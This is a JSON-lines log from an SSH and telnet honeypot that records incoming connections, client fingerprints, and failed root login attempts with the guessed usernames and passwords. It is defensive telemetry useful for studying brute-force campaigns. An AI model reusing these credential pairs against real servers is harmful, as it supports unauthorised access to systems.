{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:00.743036Z","src_ip":"45.123.110.70","session":"3a152e8ddb67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:00.977539Z","src_ip":"45.123.110.70","session":"3a152e8ddb67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arma3","message":"login attempt [root/arma3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:01.955909Z","src_ip":"45.123.110.70","session":"3a152e8ddb67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:03.202250Z","src_ip":"45.123.110.70","session":"3a152e8ddb67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":42686,"dst_ip":"10.17.0.5","dst_port":23,"session":"88e67d73939d","protocol":"telnet","message":"New connection: 194.180.12.23:42686 (10.17.0.5:23) [session: 88e67d73939d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:06.877456Z"}
{"eventid":"cowrie.session.closed","duration":3.3864660263061523,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:10.263774Z","src_ip":"194.180.12.23","session":"88e67d73939d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":46938,"dst_ip":"159.203.135.109","dst_port":22,"session":"efdaf1c8b52b","protocol":"ssh","message":"New connection: 46.165.56.242:46938 (159.203.135.109:22) [session: efdaf1c8b52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:12.556546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:12.561065Z","src_ip":"46.165.56.242","session":"efdaf1c8b52b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:12.719588Z","src_ip":"46.165.56.242","session":"efdaf1c8b52b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r5t6y","message":"login attempt [root/!Q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:13.678363Z","src_ip":"46.165.56.242","session":"efdaf1c8b52b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:14.844134Z","src_ip":"46.165.56.242","session":"efdaf1c8b52b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":45222,"dst_ip":"159.203.135.109","dst_port":22,"session":"b228b255a976","protocol":"ssh","message":"New connection: 138.99.80.102:45222 (159.203.135.109:22) [session: b228b255a976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:31.986048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:31.990586Z","src_ip":"138.99.80.102","session":"b228b255a976","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:32.099319Z","src_ip":"138.99.80.102","session":"b228b255a976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:32.562516Z","src_ip":"138.99.80.102","session":"b228b255a976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:21:33.673809Z","src_ip":"138.99.80.102","session":"b228b255a976","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":51178,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29ff104163e","protocol":"ssh","message":"New connection: 36.95.194.51:51178 (159.203.135.109:22) [session: c29ff104163e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:14.261370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:14.266205Z","src_ip":"36.95.194.51","session":"c29ff104163e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:14.554286Z","src_ip":"36.95.194.51","session":"c29ff104163e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53784,"dst_ip":"159.203.135.109","dst_port":22,"session":"740bdab18ee8","protocol":"ssh","message":"New connection: 194.59.206.2:53784 (159.203.135.109:22) [session: 740bdab18ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:15.590986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:15.598771Z","src_ip":"194.59.206.2","session":"740bdab18ee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:15.684746Z","src_ip":"194.59.206.2","session":"740bdab18ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:15.735958Z","src_ip":"36.95.194.51","session":"c29ff104163e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:15.777711Z","src_ip":"194.59.206.2","session":"740bdab18ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:17.025959Z","src_ip":"36.95.194.51","session":"c29ff104163e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":56172,"dst_ip":"159.203.135.109","dst_port":22,"session":"9473aed04e48","protocol":"ssh","message":"New connection: 200.108.174.4:56172 (159.203.135.109:22) [session: 9473aed04e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:17.676398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:17.681605Z","src_ip":"200.108.174.4","session":"9473aed04e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:17.832175Z","src_ip":"200.108.174.4","session":"9473aed04e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mus1c","message":"login attempt [root/mus1c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:18.464778Z","src_ip":"200.108.174.4","session":"9473aed04e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:19.619615Z","src_ip":"200.108.174.4","session":"9473aed04e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":48092,"dst_ip":"159.203.135.109","dst_port":22,"session":"18c72db29809","protocol":"ssh","message":"New connection: 46.165.56.242:48092 (159.203.135.109:22) [session: 18c72db29809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:30.348264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:30.358029Z","src_ip":"46.165.56.242","session":"18c72db29809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:30.523800Z","src_ip":"46.165.56.242","session":"18c72db29809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"noroot","message":"login attempt [root/noroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:32.088952Z","src_ip":"46.165.56.242","session":"18c72db29809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:33.668089Z","src_ip":"46.165.56.242","session":"18c72db29809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":51682,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed59ebb5a882","protocol":"ssh","message":"New connection: 45.123.110.70:51682 (159.203.135.109:22) [session: ed59ebb5a882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:37.743948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:37.749332Z","src_ip":"45.123.110.70","session":"ed59ebb5a882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":45332,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff3c0faf83b1","protocol":"ssh","message":"New connection: 2.57.121.112:45332 (10.17.0.5:22) [session: ff3c0faf83b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:37.936722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:37.942076Z","src_ip":"2.57.121.112","session":"ff3c0faf83b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:37.983261Z","src_ip":"45.123.110.70","session":"ed59ebb5a882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:22:38.043926Z","src_ip":"2.57.121.112","session":"ff3c0faf83b1","protocol":"ssh"}
